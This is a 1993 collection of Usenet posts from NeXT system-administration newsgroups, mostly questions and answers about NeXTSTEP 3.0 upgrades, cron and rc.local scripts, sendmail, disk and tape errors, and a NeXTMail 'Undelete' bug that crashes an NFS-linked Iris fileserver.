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From: kinch@valve.heart.rri.uwo.ca (Dave Kinchlea)
Subject: Recipe for bringing a Personal Iris to its knees ...
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Date: Thu, 7 Jan 1993 15:13:45 GMT
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SUFFICIENT (but probably not necessary) Ingredients
---------------------------------------------------
- Personal Iris 4.0.1 - fileserver
- NeXTStation 2.1
- Ethernet LAN running TCP/IP
- NeXTMail 2.0 (v63)
- mbox residing on Iris and has 250 deleted but not compacted
messages (NeXTMail keeps deleted mail messages around until the
Compact command is given -- well I didn't know this ;-()
Instructions
------------
- start NeXTMail up on account with aforementioned mbox
- choose Undelete option in NeXTMail
- sit back for a couple of minutes and watch the fun
Results
-------
- filesystem which mbox resides fills up (quite quickly) but
NO files are created (at least no directory entries and nothing that
fsck(1M) can find)
- filesystem becomes corrupted requiring fsck intervention,
some files get trashed - most notably the `table_of_contents' file for
the above user -- possibly others as well.
- some internal (NFS?) buffers and/or queues become so
overloaded that the load on the machine builds to over 16 although
there is no CPU activity (according to top(1)) and no disk activity at
all.
- if left long enough, all user I/O is impossible, even X
freezes leaving only the clock and the mouse with any I/O at all
(colour maps get screwed, window redraws/pop/push ignored, no input
accepted via keyboard; in other words -- DEAD)
How To Stop Once Started
------------------------
- So far the only intervention that worked was to reboot the
Iris and the NeXT, both are in bad states and rebooting only one does
not fix the other one (although it might be possible to leave the NeXT
alone, I didn't try that).
Comments
--------
- This recipe has been tried twice, the second time there was
no `table_of_contents' file and therefore the mbox appeared to have NO
deleted files, but I don't know enough about NeXTMail to be sure of
this. The first time this happened the machine was left for ~1.5 hours
and became COMPLETELY unusable and the only way to reboot was to hit
the panic button. The second time I managed to keep one window active
and after 15 minutes or so the load was growing to greater than 16
even though the NeXT had been turned OFF. I would spend more time on
this except that nobody else can do anyting during the testing ;-(
- Anybody know what might be going on? It seems to me that
this is a mixture of (at least) two bugs: one on each machine, but I
am quite willing to be shown to be wrong.
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From: kgnome@cs.concordia.ca (MATIS stephane)
Subject: Re: >>>HELP<<< PLEASE: Fujitsu hard disk problems
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Date: Thu, 7 Jan 1993 15:15:02 GMT
Wassim M. Jabi (wjabi@libra.arch.umich.edu) wrote:
: Hi:
: I've been experiencing some trouble with my Fujitsu 520MB
: external. It happens once or twice a week. I would hear the disk
: go "click, click" and then the console window will have these messages
: scrolling by. Many times an alert window would come up telling me
: to save documents before logging out. Any idea what is going on?
:
: Messages:
: ------ cut here -----------------------------
: Target 0: HARDWARE ERROR; block 0H retry 1
: Target 0: NOT READY; retry 1
: Target 0: NOT READY; retry 2
: .
: .
: .
: Target 0: NOT READY; retry 19
: sd0 (0,0): sense key:0x2 additional sense code: 0x4
: SCSI Block in error = 0 (front porch)
: IO error on pagein: error = 5.
: Dec 30 15:00:18 Workspace: Controller exited.
: ------ cut here -----------------------------
: HELP!!!!!!
Well, as I can testify... that's not good news. My
HD was DOA. It was a M2624F rev 0304 and it was just going
click click ... no stop.
Nothing worked! Fujistu techie said that it was the drive
was unable to read it's own specification area! Yikes!
Now I have another one, a rev 0404 that arrive a week ago.
This one requires absulutelly no jumper modifications, as
it talks lingua franca SCSI either way. Nice improovment.
Personally, I'm looking for the sense on a 1024 Byte
formated one... anybody ?
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From: crath@bnr.ca (Christopher Rath)
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Date: Thu, 7 Jan 1993 15:17:24 GMT
From: mark@plexus.guild.org (Mark Onyschuk)
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Subject: using a disk partition as a swap device
Keywords: swap
Message-ID: <1993Jan6.045206.566@plexus.guild.org>
Date: Wed, 6 Jan 1993 04:52:06 GMT
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We've partitioned our rather large drive in hopes of using one smallish
partition as a swap device (and forego the Berkeley FFS). Now that we have
our partition, what need we do next?
aTdHvAaNnKcSe,
Mark
From: lnb@netcom.com (Nick Brosnahan)
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Subject: Keyboard Mapping
Message-ID: <1993Jan7.174146.23063@netcom.com>
Date: 7 Jan 93 17:41:46 GMT
Organization: Netcom - Online Communication Services (408 241-9760 guest)
Is there any way to remap the backquote, pipe, and backslash keys to a more
reasonable location on the original keyboard under NS 3.0?
I tried to set up the command key alternatives, but it isn't cooperating.
If anyone has done this or has any idea, please respond by e-mail to:
lnb@netcom.com.
Thanks
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From: Zacharias J. Beckman <zac@dolphin.com>
Subject: HELP: NS 3.1 Boots Only in Single-User Mode!
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Date: Thu, 7 Jan 1993 16:49:53 GMT
Hello,
A few days ago, our server had a horrible crash. Everything on the network
locked up tight and needed to be restarted the hard way. When the server
came back up, it refused to boot in multi-user mode. The boot parameter of
"-nbu=128" was being ignored, and the default 16 buffers were used.
When the system started to boot Mach, it declared that it couldn't write to
mtab because the file system was read only!!! The only way around this at
present is to boot in single-user mode, then continue the multi-user startup.
Has anyone run into this sort of problem before, or have any idea where I an
look to cure it? Thanks in advance.
--
Zacharias J. Beckman - Dolphin Software Inc. - zac@dolphin.com - use NeXTMAIL!
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fantasy at that, as the real world is strange and wonderful. --- R. A. Heinlen
Those opinions I express herein are my own, I'm fairly sure. --- Z. J. Beckman
From: greimann@pecan.cns.udel.edu (J. Brandon Greimann)
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Subject: diskeject problem
Date: 7 Jan 1993 20:53:20 GMT
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There seems to be a bug in 3.0/on my machine that messes up the dialog
box that comes up when ejecting a disk that is being used by an app.
The box pops up for a split second then goes away, leaving people
not realizing why their floppy disks won't eject, and it screws up how
SyQuest's are mounted. I was wondering if this is a common problem and if
there's a cure for it?
Thanks,
Brandon
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From: wade@hobbes.ucsd.edu (Wade Blomgren)
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Subject: Re: cron and shell scripts
Date: 7 Jan 1993 19:01:48 GMT
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Summary: csh under cron, strange failures
In an article, mikael@scout.utexas.edu (Mikael Behrens) writes:
|>
|> [description of failure of cron entry for user other than root]
After upgrading to 3.0 I am having a related problem, with non-root
csh scripts run from cron. The scripts are run, but any redirection
of output from a command in the script goes to the standard output
of the script, not to the target of the redirection.
For example, the following script (saved in, say, /tmp/script, mode 755):
#! /bin/csh
echo foo > /tmp/bar
run by the following crontab entry:
* * * * * me /tmp/script > /tmp/script.out 2>&1
results in the word "foo" appearing in /tmp/script.out, NOT /tmp/bar.
The same is true for piped output:
cat /etc/hosts | grep localhost > /tmp/bar
will send the entire hosts file to the output of the script, and nothing
goes through the grep or into /tmp/bar.
NOTE: the output files _are created_. That is to say, in the first
simple example, the file /tmp/bar will exist, but it will be empty.
This behavior does not seem to happen when the cron command is run by
root. When the script is run from the command line by the user account
it works fine.
The problem does not occur on a self contained machine in my office but
it does occur on our other machines. As I type this I realize the main
difference between my machine and the failing machines is the failing
machines are running NIS. I'm going to turn NIS off on one of the
machines and see if the problem goes away. In the meantime, can anyone
else who is using NIS (or not) under 3.0 comment? Am I hallucinating?
Wade Blomgren
wade@hobbes.ucsd.edu
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From: woo@ornl.gov (John W. Wooten)
Subject: rc.local?
Message-ID: <1993Jan7.213419.7488@ornl.gov>
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Date: Thu, 7 Jan 1993 21:34:19 GMT
I have a file rc.local in which I start my gopher daemon
and a supersrv daemon. Under 2.1 this worked fine. Now I find that
under 3.0, the script starts and prints out the
Starting local daemons:
and then the final .
In between are the parts to start the two daemons and they don't get
started!
If as su, I type sh /etc/rc.local (exactly what is in the rc script),
then the rc.local starts both daemons fine.
Any ideas on what I'm doing wrong?
- - - - - - - - -
J. W. Wooten
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From: nwc (Nick Christopher)
Subject: Re: cron and shell scripts
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Date: Thu, 7 Jan 1993 19:59:55 GMT
In article <86258@ut-emx.uucp> mikael@scout.utexas.edu (Mikael Behrens) writes:
> 10 17 * * * mikael /bin/sh /Users/mikael/Apps/RetrieveMail
>
>
> The last line is my addition. I've been changing the times to test it.
> I've also tried this entry:
>
> 10 17 * * * mikael /Users/mikael/Apps/RetrieveMail
>
> Neither works.
try:
10 17 * * * root su mikael -c '/Users/mikael/Apps/RetrieveMail'
From: hardy@golem.ps.uci.edu (Meinhard E. Mayer (Hardy))
Subject: Re: HELP: NS 3.1 Boots Only in Single-User Mode!
Message-ID: <HARDY.93Jan7130011@golem.ps.uci.edu>
In-reply-to: Zacharias J. Beckman's message of Thu, 7 Jan 1993 16:49:53 GMT
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Organization: Department of Physics, UC Irvine, CA 92717-4575, USA
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Date: 7 Jan 93 21:00:16 GMT
Do you really mean NS 3.1? Is there such a thing?
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From: mikael@scout.utexas.edu (Mikael Behrens)
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Subject: Re: cron and shell scripts
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Date: 7 Jan 93 20:53:22 GMT
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Mikael Behrens writes
| I'm running a mono NeXTstation with Mamakos' SLIP software, and I have a
| shell script that retrieves my mail from my school account. This script
| works; I've tested it several times.
|
| I would like to have this script periodically executed by cron, but I
| can't seem to make it work. Here's my /private/etc/crontab file:
|
| 0,15,30,45 * * * * root /usr/lib/atrun
| 0 2 * * * root /bin/sh /usr/adm/daily >/usr/adm/daily.log 2>&1
| 30 3 * * 6 root /bin/sh /usr/adm/weekly >/usr/adm/weekly.log 2>&1
| 30 5 1 * * root /bin/sh /usr/adm/monthly >/usr/adm/monthly.log
| 2>&1
| 10 17 * * * mikael /bin/sh /Users/mikael/Apps/RetrieveMail
|
|
| The last line is my addition. I've been changing the times to test it.
| I've also tried this entry:
|
| 10 17 * * * mikael /Users/mikael/Apps/RetrieveMail
|
| Neither works. When the specified time rolls around nothing happens.
| I've rebooted after changing the crontab file, but that doesn't seem to
| help. Is there a log file somewhere where errors are reported? I've
| never messed with cron before, and I'm completely stumped. Any help
would
| be greatly apprecieated.
|
| Mikael
|
Thanks to Robert Lutwak who responded to my post, the problem is solved.
My script uses ftp, and I had to specify it's full pathname for it to run
under cron.
Thanks to everyone else who responded too. The net sure is a nice
resource (especially when the online documentation has NOTHING to say!)
Mikael Behrens
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From: jchin@prodigy.bc.ca (Joseph Chin)
Subject: Re: sendmail problem
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Date: Thu, 7 Jan 1993 22:29:22 GMT
In article <1993Jan7.222028.4493@prodigy.bc.ca> jchin@prodigy.bc.ca
(Joseph Chin) writes:
> I've just noticed that since I upgraded to 3.0, I can no
> longer send email to accounts within my domain
> (prodigy.bc.ca). Is there a bug in the 3.0 sendmail.cf
> file? The NeXT is a mail client on the network, and the
> mail host is a Sun Sparc server. Everything worked fine
> before the 3.0 upgrade.
I forgot to add that the following was found in the
/usr/spool/mqueue/syslog file:
Jan 7 13:39:25 johnette sendmail[942]: AA00939: to=jchin, delay=00:00:04,
stat=Service unavailable, mailer=etherl
Joe
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From: jchin@prodigy.bc.ca (Joseph Chin)
Subject: sendmail problem
Message-ID: <1993Jan7.222028.4493@prodigy.bc.ca>
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Date: Thu, 7 Jan 1993 22:20:28 GMT
I've just noticed that since I upgraded to 3.0, I can no longer send email
to accounts within my domain (prodigy.bc.ca). Is there a bug in the 3.0
sendmail.cf file? The NeXT is a mail client on the network, and the mail
host is a Sun Sparc server. Everything worked fine before the 3.0 upgrade.
Any ideas? Thanks.
Joe
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phone 16046874636 / fax 16046871671 Canada
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From: tjhendry@queen.mcs.drexel.edu
Subject: OD Media Rendered Useless by funky drive?
Message-ID: <1993Jan7.190931.1257@afs.com>
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Date: Thu, 7 Jan 1993 19:09:31 GMT
Hi. I've got an OD that was going south for a while. It basically made
a
mess of my two optical disks. Yeah, I know, I should have had them write protected.
Anyway, now that I have cleaned my OD, the disks are still reported unusable.
I don't know if it's the disks or if it's the drive.
1) Is there any way to do a "low-level" format on the disks?
2) Are the disks repairable?
Please respond via email, since my access to the c.s.next.* groups will end when I go back to school.
Thanks!
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ght find it? I recently tried hooking my cube to my Sony 5 disk changer, b
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From: kluge@avalon.physik.unizh.ch (kluge daniel)
Subject: Re: PPP and/or SLIP drivers for a NeXTstation Turbo (sys2.2)
Message-ID: <1993Jan7.234336.4131@ifi.unizh.ch>
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References: <1993Jan5.160333.493@bvl.pt>
Date: Thu, 7 Jan 1993 23:43:36 GMT
jessica.bvl.pt!root (Operator) writes:
: I'm looking for PPP or SLIP software that can be installed an our NeXT.
: I don't know nothing about kernel remaking as I'm only using a NeXT for 3
: months or so, besides the soft I need very NeXT oriented info.
: For the soft, a file name and a site will do, for the help... Well, I'll
: summarize latter...
:
: Can anyone help me with this ??? ... Please...
:
: regards,
: vasco
There is a next-ppp package at merit.edu, with all the binaries, and
some
explanations to the installation on the NeXT, among the binaries, there
are some sources, that are impossible to compile (IMHO offcourse).
Another site for ppp might be archive.cis.ohio-state.edu
Besides, there is an interesting paper, covering SLIP and PPP available
at most ftp-sites (sonata, ftp.acns.nwu.edu), SLIP is on most sites as
well, eg. at sonata.
- daniel
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From: kluge@avalon.physik.unizh.ch (kluge daniel)
Subject: Re: booting 3.0 from floppy
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Date: Thu, 7 Jan 1993 23:46:46 GMT
root@emerald.name physics.utoronto.ca (Operator) writes:
: I've something dumb with my root directory...it seems sdmach is missing or
: damaged and the machine won't reboot. I'm no UNIX whiz. I thought that
: maybe all I would need to do is to do a basic boot from a floppy, bUT all
: I can find is Bootfloppy2.1 in th archives. Is there a 3.0 version, or is
: there some other way to fix this problem?
Some days, I found this at sonata:
/pub/next/submissions/:
-rw-r--r-- 1 ftp 12669 Oct 6 07:44 BootFloppy3.0.tar.Z
Might be a solution ?
- daniel
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From: garyc@lenny.acns.nwu.edu (Gary I. Chang)
Subject: swapfile.front???? How can I get rid of it? What is it?
Message-ID: <1993Jan8.051543.5862@news.acns.nwu.edu>
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Date: Fri, 8 Jan 1993 05:15:43 GMT
Hi,
After upgrading to NS3.0 I found another file named
"swapfile.front" in the same directory as swapfile. The filesize shows
284MB in the WP Inspector. (I only have a 406 MB disk) and the size of
swapfile remains at 16MB even after playing a while on my 16MB memory NSC.
What is the file for? Why does it take 284MB which does not even
exist?
g
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From: garyc@lenny.acns.nwu.edu (Gary I. Chang)
Subject: ROM monitor error
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Date: Fri, 8 Jan 1993 05:19:32 GMT
Hi,
After upgrading to 3.0, I deleted /Net which was empty on my stand
alone NSC. From that on, I could never boot up the system, I was put in
the ROM monitor window with the message:
Exception #3 (0xc) at 0x100034c
my ROM ver is 2.4(v65)
I had to 'bsd' to bring up the loginwindow.... after that
everything seems to be fine until the next reboot...... any idea?
g
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From: maurices@spock.dis.cccd.edu (Maurice Shihadi)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Help! Installing 3.0 on external HD
Date: 7 Jan 1993 22:06:45 -0800
Organization: Coast Community College District, Costa Mesa, CA
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References: <1993Jan5.222822.5009@midway.uchicago.edu>
In article <1993Jan5.222822.5009@midway.uchicago.edu> chwe@quads.uchicago.edu writes:
>I have been having all sorts of problems installing system 3.0
>on my external hard disk. Before trying to upgrade, I had system 2.1
>on both my internal (105M Quantum from NeXT) and external (1G Fujitsu)--
>the external's SCSI ID was set up so that it would be the default
>bootup drive.
>After plugging in a friend's CD-rom with the 3.0 CD, and running
>UpgradePrep.app from the CD-Rom tools diskette, it took me a long
>time to get the computer to read the CD-rom. Finally it did and I
>did the automatic installation on my external drive, which seemed
>OK. But after installation, booting from my external drive
>puts me into a System Panic window, which eventually stops and
>then tries to boot again. I tried booting from the CD-rom as detailed
>in the manuals but this did not work either. If I unplug the external
>and CD-rom I can still boot up from my internal drive, luckily.
>Currently I can't access my external drive at all (I've tried
>bsd(1,0,0) from the ROM Monitor to boot from my internal drive,
>but I haven't tried changing the SCSI ID of the external drive,
>which involves opening the enclosure and moving the jumpers).
>
>Any help or suggestions would be very much appreciated! I've been
>out of the country for the last four months so I haven't been able
>to keep up with the current folklore on system 3.0--so excuse me if
>this is an old question. Please repost or send email (regular,
>not NeXT) to chwe@chwe1.spc.uchicago.edu.
I was testing the Ocean Vista 256 3.5 inch optical and learned the following:
1) NS 3.0's BuildDisc Application doesn't seem to work; therefore
using the Optical as an external boot device won't work yet.
2) There is a difference between device address and SCSI address.
I believe that the external peripheral should be SCSI #0 to become
the external boot device. Also, in booting from the ROM monitor I believe
that one is addressing the device number which is different from the
SCSI address. I forget the exact designations but everything concerning
SCSI address and device numbers is explained in the upgrade documentation
provided with NS 3.0 CD.
Hope this helps. Good luck.
maurices
n
ne
3)
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From: antigone!mross (Michael Ross)
Subject: Re: rc.local?
Message-ID: <1993Jan8.051546.1660@antigone.com>
Sender: mross@antigone.com
Organization: Antigone Press, San Francisco, CA, USA
References: <1993Jan7.213419.7488@ornl.gov>
Date: Fri, 8 Jan 1993 05:15:46 GMT
In article <1993Jan7.213419.7488@ornl.gov> woo@ornl.gov (John W. Wooten)
writes:
> I have a file rc.local in which I start my gopher daemon
> and a supersrv daemon. Under 2.1 this worked fine. Now I find that
> under 3.0, the script starts and prints out the
> Starting local daemons:
> and then the final .
>
> In between are the parts to start the two daemons and they don't get
> started!
> If as su, I type sh /etc/rc.local (exactly what is in the rc script),
> then the rc.local starts both daemons fine.
>
> Any ideas on what I'm doing wrong?
Yes 3.0 broke something.
The workaround is to call a shell script from rc.local, not to do anything
directly in rc.local.
Haven't figured out why...
--
Michael Ross
Antigone Press, San Francisco, California
e-mail: mross@antigone.com
FAX: 1-415-431-3650
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From: schlangm@Informatik.TU-Muenchen.DE (Harald Schlangmann)
Subject: Using HP LJIIIp with djf_for_3.0?
Keywords: Printer,djf_for_3.0,IIIp
Originator: schlangm@hphalle0i.informatik.tu-muenchen.de
Sender: news@Informatik.TU-Muenchen.DE (USENET Newssystem)
Organization: Technische Universitaet Muenchen, Germany
Date: Fri, 8 Jan 1993 09:34:16 GMT
Message-ID: <1993Jan8.093416.702@Informatik.TU-Muenchen.DE>
I wounder if anyone out there patched djf_for_3.0 (or earlier versions)
to work with a HP Laserjet IIIp? I've tried the Dots-Demo and it is
working, djf produces just garbage. Shouldn't djf work with IIIp also?
As far as I know, HP's IIIp uses PCL5 and should support mode 2 and 3
compression --- or is just a initializer missing?
Any help would be nice. Please answer to schlangm@informatik.uni-muenchen.de,
I will summarize if I get any helpfull reply.
Thanx, Harald
Newsgroups: comp.sys.next.sysadmin
From: eoliver@ralph.cs.haverford.edu (Erik Oliver)
Subject: Re: sendmail problem
Message-ID: <PTKWBZAS@cc.swarthmore.edu>
Sender: news@cc.swarthmore.edu (USENET News System)
Organization: Haverford College Computer Science Department
References: <1993Jan7.222028.4493@prodigy.bc.ca> <1993Jan7.222922.4587@prodigy.bc.ca>
Date: Fri, 8 Jan 1993 13:29:44 GMT
In article <1993Jan7.222922.4587@prodigy.bc.ca> jchin@prodigy.bc.ca writes:
>In article <1993Jan7.222028.4493@prodigy.bc.ca> jchin@prodigy.bc.ca
>(Joseph Chin) writes:
>> I've just noticed that since I upgraded to 3.0, I can no
>> longer send email to accounts within my domain
>> (prodigy.bc.ca). Is there a bug in the 3.0 sendmail.cf
>> file? The NeXT is a mail client on the network, and the
>> mail host is a Sun Sparc server. Everything worked fine
>> before the 3.0 upgrade.
>
>I forgot to add that the following was found in the
>/usr/spool/mqueue/syslog file:
>Jan 7 13:39:25 johnette sendmail[942]: AA00939: to=jchin, delay=00:00:04,
>stat=Service unavailable, mailer=etherl
>
>Joe
>--
>Joseph Chin Prodigy Technologies Corp.
>jchin@prodigy.bc.ca (NeXTmail welcome) Vancouver, British Columbia
>phone 16046874636 / fax 16046871671 Canada
> **** "Heaven won't take me and Hell's afraid I'll take over!" ****
Okay, well we had so much trouble with sendmail and our network that we
ended up almost completely rewriting the rule sets in many cases.
Sendmail is an extremely complicated system and trying to figure out
what is going wrong can be very difficult. There is however, a
debugging mode: sendmail -bt, this will show you how addresses are being
parsed on your NS and which rule set is being used.
Also, make sure you are using the correct sendmail.cf file, the NeXT
comes shipped with a number of them.
At our site we ended up making our next a mailhost/server before we
finally got things right... Then we had to modify Rule sets 0,D, and 1
to get addresses to parse right, all in all a nasty job. The problems
we had:
(1) a VAX Domain Server running PMDF configured not to understand
UNIX mail addressing conventions... sigh!
(2) a dotted machine name, ralph.cs where there is no cs domain,
and through all of this, w still got it to work.
So good luck, read your manuals carefully, and discover the sendmail
comp newsgroup.
-Erik
Newsgroups: comp.sys.next.sysadmin
From: emarinos@marcon.ka.sub.org (Evstathios Marinos)
Subject: HELP: Dump problem with HP 35480A DAT Streamer
Message-ID: <1993Jan8.100823.541@marcon.ka.sub.org>
Sender: emarinos@marcon.ka.sub.org (Evstathios Marinos)
Organization: The little black box game department
Date: Fri, 8 Jan 1993 10:08:23 GMT
Hi,
I've got problems with the DAT Streamer HP 35480A running at NeXT machines when
working with dump/restore.
Dumping files to the streamer workes fine, but performing a restore from a dump
produces a strange behaviour. Some times it works fine, the next time I get
following error:
ST:CMD=0x8 SR_IO_STATUS=2H
Sense Key=0x0
Sense Code=0x0
Tape/Disk Read Error: I/O Error
I tried the streamer with various NeXT machines, Cube's, Mono's, Turbo Color's
and I always got the same problems with restore. When using tar to write and
read to the streamer no errors ocured.
Doe's anybody know this problem and how to solve it?
Thank you very much for your help.
--
Stati Marinos | Phone : +49 721 37 71 78
Gartenstr. 2 | Fax : +49 721 37 71 79
7500 Karlsruhe 1 (GERMANY) | E-Mail: emarinos@marcon.ka.sub.org
Registered NeXTDeveloper | - NeXTMail welcome -
Newsgroups: comp.sys.next.sysadmin
From: rpajarol@iiic.ethz.ch (Renato Bruno Pajarola)
Subject: rc.local
Message-ID: <1993Jan8.150428.29811@neptune.inf.ethz.ch>
Sender: news@neptune.inf.ethz.ch (Mr News)
Organization: Dept. Informatik, Swiss Federal Institute of Technology (ETH), Zurich, CH
Date: Fri, 8 Jan 1993 15:04:28 GMT
Subject:
Summary:
Expires:
Sender: rpajarol@iiic.ethz.ch
Followup-To:
Distribution: Distribution:
Organization: Dept. Informatik, Swiss Federal Institute of Technology (ETH), Zurich, CH
Keywords: nppower
Hi people,
since I have the new NextStep3.0, over all it's very good, I can't do
some things I did bevore.
Especially things I want to do at boot-up time.
In NS2.1 I had entries in the rc.local to play a sound and to power the
printer off. The entries looked something like this:
sndplay /LocalLibrary/Sounds/mysound.snd &
...
nppower off
...
The sound was played during boot process until the loginwindow was
displayed (then interrupted, never mind ...).
The printer was turned off bevor displaying the loginwindow.
In NS3.0 now the sound does not play anymore.
(the path is right, sndplay still exists)
In some cases I was able to turn the printer off, but then after loging
in, the printer did'n turn on when selecting "Print", because it's
status was "unavailable". I had to switch it to private or public
using the PrinterManager.
(not the way I like it)
The sound "mysound" is on a second, extern harddisk.
(it was also in NS2.1)
Can anybody tell me, what changed in the behaviour of the rc.local script
or how can I achieve these things (esp. printer off) in another way.
Thanks a lot for mailing me back.
-------
------------------------------------------------------------------------
Name: Renato Pajarola
Country: Switzerland
Profession: Student in Computer Science ETH Zuerich
E-Mail: rpajarol@iiic.ethz.ch
There's a hell of a good universe NeXT door; let's go ...
Newsgroups: comp.sys.next.sysadmin
From: eoliver@ralph.cs.haverford.edu (Erik Oliver)
Subject: Re: rc.local?
Message-ID: <PYKWB5WT@cc.swarthmore.edu>
Sender: news@cc.swarthmore.edu (USENET News System)
Organization: Haverford College Computer Science Department
References: <1993Jan7.213419.7488@ornl.gov> <1993Jan8.051546.1660@antigone.com>
Date: Fri, 8 Jan 1993 15:37:22 GMT
MMM.... personally, we call a bunch of things from rc.local under 3.0
with absolutely no problems:
(begin included /etc/rc.local)
#!/bin/sh -u
#
# This script is for augmenting the standard system startup commands. It is
# executed automatically by the system during boot up.
#
# Copyright (C) 1992 by NeXT Computer, Inc. All rights reserved.
#
# As released orm, this script does nothing. You may customize
# it as you wish.
#
fbshow -A -B -E -I "Starting*Local*Services..."
# Read in configuration information
. /etc/hostconfig
# (echo -n 'local daemons:') >/dev/console
#
# Run your own commands here
#
/usr/etc/accton /usr/adm/acct
# The above line initiates the accounting software startup.
# added: 11/2/92, 3:15 pm
# (echo '.') >/dev/console
#
# The following line initiates the NetNews trn, thread database daemon
# mthreads.
/usr/local/lib/trn/mthreads -d60 -e
# added 11/12/92, 6:30pm, eoliver
# -d60 means run every 60 minutes.
# -e means do enhanced expiration check
/usr/etc/accton is a mach executable, as is mthreads, and mthreads run
with a '-d' is a daemon program which runs without any problems.
So, whatever your problem is, I somehow doubt it is a flaw in rc.local
itself.
-Erik
Newsgroups: comp.sys.next.sysadmin
From: dan@foghorn.pass.wayne.edu (Daniel Cwiertniewicz)
Subject: Re: PPP and/or SLIP drivers for a NeXTstati
Message-ID: <1993Jan8.162820.13565@cs.wayne.edu>
Sender: usenet@cs.wayne.edu (Usenet News)
Organization: Wayne State University
References: <1993Jan7.234336.4131@ifi.unizh.ch>
Date: Fri, 8 Jan 1993 16:28:20 GMT
In article 4131@ifi.unizh.ch, kluge@avalon.physik.unizh.ch (kluge daniel) writes:
>jessica.bvl.pt!root (Operator) writes:
>There is a next-ppp package at merit.edu, with all the binaries, and
>some
>explanations to the installation on the NeXT, among the binaries, there
>are some sources, that are impossible to compile (IMHO offcourse).
I agree. I do this kind of stuff for a living and I found the PPP stuff at
merit.edu almost completely incomprehensible. I tried contacting the folks
at Merit, but no one there seemed to know anything about it. I am going
to check the PPP discussion group and see if anyone there has thoughts on
this subject. I'll post here if I get a workable solution. Otherwise
Morningstar seems to be the only vendor with a PPP implementation for NeXT.
---
Daniel Cwiertniewicz Phone: (313)-577-0787
Systems Analyst, Networking Support Group Fax: (313)-577-8787
Computing and Information Technology E-Mail: DCWIERT@WAYNEST1 or
Wayne State University dan@foghorn.pass.wayne.edu
Newsgroups: comp.sys.next.bugs,comp.sys.next.sysadmin
From: kinch@valve.heart.rri.uwo.ca (Dave Kinchlea)
Subject: What does NeXTMail do during `undelete' command?
Organization: Heart Valve Group, John P. Robarts Research Institiute, London, Ont. Canada
Date: Fri, 8 Jan 1993 18:00:37 GMT
Message-ID: <1993Jan8.180037.23392@julian.uwo.ca>
Followup-To: comp.sys.next.sysadmin
Sender: news@julian.uwo.ca (USENET News System)
Howdy
I am having a problem with NeXTMail. My users' directories are
NFS mounted onto a Personal Iris but the /usr/spool/mail is local.
When one of my users issues a `Undelete' command from inside of
NeXTMail, my PI disk fills up AND the load on the PI machine continues to
grow until there is nothing left to do but pull the plug. In trying to
determine what the problem is it seems necessary to determine what
NeXTMail is up to during this `Undelete' operation. Could anyone in
the know please tell me. I assumed that it would simply make a copy of
mbox sans any deleted messages but that simply does not seem to be the
case.
I can provide more info to any who want but understanding the
problem isn't necessary in order to explain what NeXTMail is
*supposed* to do with this command.
cheerskinch
--
Dave Kinchlea
email: kinch@valve.heart.rri.uwo.ca
Snail-mail: System Administrator/Research Programmer
John P. Robarts Research Institute.
P.O. Box 5015,
100 Perth Drive,
London, Ont, Canada
N6A 5K8
A Real Live Voice: (519)-663-5777-x4406
".... 2 to the power 759 million to 1 and falling ..." HHGTG
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From: royce@splunge.uucp (Royce Howland)
Subject: Re: rc.local?
Message-ID: <1993Jan8.145805.18068@splunge.uucp>
Organization: Ashley, Howland & Wood
References: <1993Jan7.213419.7488@ornl.gov>
Date: Fri, 8 Jan 1993 14:58:05 GMT
woo@ornl.gov (John W. Wooten) writes:
>I have a file rc.local in which I start my gopher daemon
>and a supersrv daemon. Under 2.1 this worked fine. Now I find that
>under 3.0, the script starts and prints out the
>Starting local daemons:
>and then the final .
>In between are the parts to start the two daemons and they don't get
>started!
>If as su, I type sh /etc/rc.local (exactly what is in the rc script),
>then the rc.local starts both daemons fine.
>Any ideas on what I'm doing wrong?
>- - - - - - - - -
It's possible that your rc.local depends on some environment variables
or other conditions being in place when it runs, and that such conditions
are in place when you sh /etc/rc.local, and were in place under NS2.x,
but are no longer in place under NS3.0. Think about things like the PATH
and so on. Think about what else may be set when you're logged in as
root (via su) that may not be set when the machine is booting.
Put some diagnostic messages in rc.local, so you can at least see what's
happening. If rc.local is doing things like
if [ foo ]; then
blah, blah, blah
fi
then modify this to be
if [ foo ]; then
blah, blah, blah
else
(echo Condition foo failed...) >/dev/console
fi
--
Royce Howland, DKW Systems Corp. | "And since OS/2 2.0 is a 32-bit
Everything is IMHO | operating system, programs are easier
royce@splunge.uucp (NeXTMail OK) | to write and run faster, too."
or kakwa!atlantis!splunge!royce | ad for OS/2 2.0
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin
From: obrooks@dale.ksc.nasa.gov(Oscar Brooks)
Subject: Score file -> Snd file ??
Message-ID: <1993Jan8.203046.3491@dale.ksc.nasa.gov>
Keywords: Score , Sound, Music
Sender: news@dale.ksc.nasa.gov
Organization: NASA
Date: Fri, 8 Jan 1993 20:30:46 GMT
Can anyone tell me how to convert a score file to a sound (snd)
file?
Thanks!
Oscar
--
------------------------------------------------
Oscar Brooks
NASA, Real Time Systems Branch
Kennedy Space Center, Fla. 32899
Mail Code: DL-DSD-24
Newsgroups: comp.sys.next.sysadmin
From: ian_stewart@pyrian.com (Ian H. Stewart)
Subject: Icon for scripts
Message-ID: <1993Jan8.001720.246@pyrian.com>
Sender: ian@pyrian.com
Organization: PYRIAN - Software Group, San Francisco Calif, 415-664-1170
Date: Fri, 8 Jan 1993 00:17:20 GMT
How do i assign an Icon to a shell script.
It looks really bad to have the normal icon.
I was trying to firgue out how to add an extension
and then where do I put the Icon resource so that
Workspace will relate the two together.
Any answers is appreciated.
--
Ian H. Stewart | voice/fax 415-664-1170
Pyrian Software Group | CIS 71101,1260
Always looking for new SW to market | Net Ian_Stewart@pyrian.com
NeXT,Mac,PC & Sun | Isn't LiFE more like RiSK?
From: izumi@pinoko.berkeley.edu (Izumi Ohzawa)
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.software
Subject: Re: Score file -> Snd file ??
Date: 8 Jan 1993 21:39:59 GMT
Organization: University of California, Berkeley
Distribution: world
Message-ID: <1iksbf$88i@agate.berkeley.edu>
References: <1993Jan8.203046.3491@dale.ksc.nasa.gov>
In article <1993Jan8.203046.3491@dale.ksc.nasa.gov> obrooks@dale.ksc.nasa.gov(Oscar Brooks) writes:
>Can anyone tell me how to convert a score file to a sound (snd)
>file?
playscore can do this according to the man page. See man playscore.
or
ScorePlayer.app which is in MusicKit from CCRMA can do this.
It can convert between a lot of formats including snd, midi, playscore,
and DSP commands from the Save As menu button.
Get MusicKit 3.1 from ccrma-ftp.stanford.edu.
--
